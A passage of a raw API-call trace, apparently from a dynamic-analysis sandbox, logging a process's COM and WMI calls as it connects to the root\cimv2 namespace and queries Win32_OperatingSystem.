dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d218290) returned 0x0 [0285.636] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d218290, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d28fc00) returned 0x0 [0285.655] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fc00, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b201e30) returned 0x0 [0285.655] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b201e30, pProxy=0x1d28fc00, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0285.655] WbemLocator:IUnknown:Release (This=0x1b201e30) returned 0x1 [0285.655] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fc00, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b201e78) returned 0x0 [0285.655] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fc00, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b201e30) returned 0x0 [0285.655] WbemLocator:IClientSecurity:SetBlanket (This=0x1b201e30, pProxy=0x1d28fc00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0285.655] WbemLocator:IUnknown:Release (This=0x1b201e30) returned 0x2 [0285.655] WbemLocator:IUnknown:Release (This=0x1b201e78) returned 0x1 [0285.656] CoTaskMemFree (pv=0x1d1e69c0) [0285.656] WbemLocator:IUnknown:Release (This=0x1d218290) returned 0x0 [0285.656] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fc00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b201e78) returned 0x0 [0285.656] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0285.656] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0285.657] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fc00, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0285.657] WbemLocator:IUnknown:AddRef (This=0x1b201e78) returned 0x3 [0285.657] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0285.657] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0285.657] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b201d58) returned 0x0 [0285.657] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b201d58, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0285.657] WbemLocator:IUnknown:Release (This=0x1b201d58) returned 0x3 [0285.657] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0285.657] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0285.657] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b201e40) returned 0x0 [0285.658] WbemLocator:IRpcOptions:Query (in: This=0x1b201e40, pPrx=0x1b201e78, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0285.658] WbemLocator:IUnknown:Release (This=0x1b201e40) returned 0x3 [0285.658] WbemLocator:IUnknown:Release (This=0x1b201e78) returned 0x2 [0285.658] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0285.658] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0285.658] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d28fc00) returned 0x0 [0285.658] WbemLocator:IUnknown:AddRef (This=0x1d28fc00) returned 0x4 [0285.658] WbemLocator:IUnknown:Release (This=0x1d28fc00) returned 0x3 [0285.658] WbemLocator:IUnknown:Release (This=0x1d28fc00) returned 0x2 [0285.658] SysStringLen (param_1=0x0) returned 0x0 [0285.658] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0285.658] WbemLocator:IUnknown:AddRef (This=0x1b201e78) returned 0x3 [0285.658] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b201e78) returned 0x0 [0285.658] WbemLocator:IUnknown:Release (This=0x1b201e78) returned 0x3 [0285.658] WbemLocator:IUnknown:Release (This=0x1b201e78) returned 0x2 [0285.658] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0285.658] WbemLocator:IUnknown:AddRef (This=0x1d28fc00) returned 0x3 [0285.658] IWbemServices:ExecQuery (in: This=0x1d28fc00, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b287820) returned 0x0 [0285.680] IUnknown:QueryInterface (in: This=0x1b287820, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b287828) returned 0x0 [0285.680] IClientSecurity:QueryBlanket (in: This=0x1b287828, pProxy=0x1b287820, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0285.680] IUnknown:Release (This=0x1b287828) returned 0x1 [0285.680] IUnknown:QueryInterface (in: This=0x1b287820, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b203398) returned 0x0 [0285.680] IUnknown:QueryInterface (in: This=0x1b287820, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b287828) returned 0x0 [0285.680] IClientSecurity:SetBlanket (This=0x1b287828, pProxy=0x1b287820, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0285.739] IUnknown:Release (This=0x1b287828) returned 0x2 [0285.739] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x1 [0285.739] CoTaskMemFree (pv=0x1d1e6fc0) [0285.739] IUnknown:QueryInterface (in: This=0x1b287820, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b203398) returned 0x0 [0285.740] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0285.741] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0285.777] IUnknown:QueryInterface (in: This=0x1b287820, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0285.778] WbemLocator:IUnknown:AddRef (This=0x1b203398) returned 0x3 [0285.778] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0285.778] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0285.778] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b203278) returned 0x0 [0285.778] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b203278, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0285.778] WbemLocator:IUnknown:Release (This=0x1b203278) returned 0x3 [0285.778] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0285.778] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0285.778] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b203360) returned 0x0 [0285.779] WbemLocator:IRpcOptions:Query (in: This=0x1b203360, pPrx=0x1b203398, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0285.779] WbemLocator:IUnknown:Release (This=0x1b203360) returned 0x3 [0285.779] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x2 [0285.779] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0285.779] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0285.779] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b287820) returned 0x0 [0285.779] IUnknown:AddRef (This=0x1b287820) returned 0x4 [0285.779] IUnknown:Release (This=0x1b287820) returned 0x3 [0285.779] IUnknown:Release (This=0x1b287820) returned 0x2 [0285.779] WbemLocator:IUnknown:Release (This=0x1d28fc00) returned 0x2 [0285.779] SysStringLen (param_1=0x0) returned 0x0 [0285.779] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0285.779] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0285.780] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0285.780] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0285.780] IUnknown:AddRef (This=0x1b287820) returned 0x3 [0285.780] IEnumWbemClassObject:Clone (in: This=0x1b287820, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b286080) returned 0x0 [0285.783] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b286088) returned 0x0 [0285.783] IClientSecurity:QueryBlanket (in: This=0x1b286088, pProxy=0x1b286080, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0285.783] IUnknown:Release (This=0x1b286088) returned 0x1 [0285.783] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b201b38) returned 0x0 [0285.783] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b286088) returned 0x0 [0285.783] IClientSecurity:SetBlanket (This=0x1b286088, pProxy=0x1b286080, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0285.785] IUnknown:Release (This=0x1b286088) returned 0x2 [0285.785] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x1 [0285.785] CoTaskMemFree (pv=0x1d1e6c30) [0285.785] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b201b38) returned 0x0 [0285.785] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0285.786] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0285.786] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0285.787] WbemLocator:IUnknown:AddRef (This=0x1b201b38) returned 0x3 [0285.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0285.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0285.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b201a18) returned 0x0 [0285.787] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b201a18, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0285.787] WbemLocator:IUnknown:Release (This=0x1b201a18) returned 0x3 [0285.787] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0285.787] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0285.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b201b00) returned 0x0 [0285.787] WbemLocator:IRpcOptions:Query (in: This=0x1b201b00, pPrx=0x1b201b38, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0285.787] WbemLocator:IUnknown:Release (This=0x1b201b00) returned 0x3 [0285.787] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x2 [0285.787] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0285.787] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0285.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b286080) returned 0x0 [0285.787] IUnknown:AddRef (This=0x1b286080) returned 0x4 [0285.787] IUnknown:Release (This=0x1b286080) returned 0x3 [0285.787] IUnknown:Release (This=0x1b286080) returned 0x2 [0285.787] IUnknown:Release (This=0x1b287820) returned 0x2 [0285.787] SysStringLen (param_1=0x0) returned 0x0 [0285.788] IEnumWbemClassObject:Reset (This=0x1b286080) returned 0x0 [0285.788] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0d20 [0285.788] IEnumWbemClassObject:Next (in: This=0x1b286080, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0d20, puReturned=0x25dd6b8 | out: apObjects=0x1d1c0d20*=0x1b269210, puReturned=0x25dd6b8*=0x1) returned 0x0 [0285.793] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b269210) returned 0x0 [0285.794] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0285.794] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0285.794] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0285.794] IUnknown:AddRef (This=0x1b269210) returned 0x3 [0285.794] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0285.794] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0285.794] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b269218) returned 0x0 [0285.794] IMarshal:GetUnmarshalClass (in: This=0x1b269218, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: 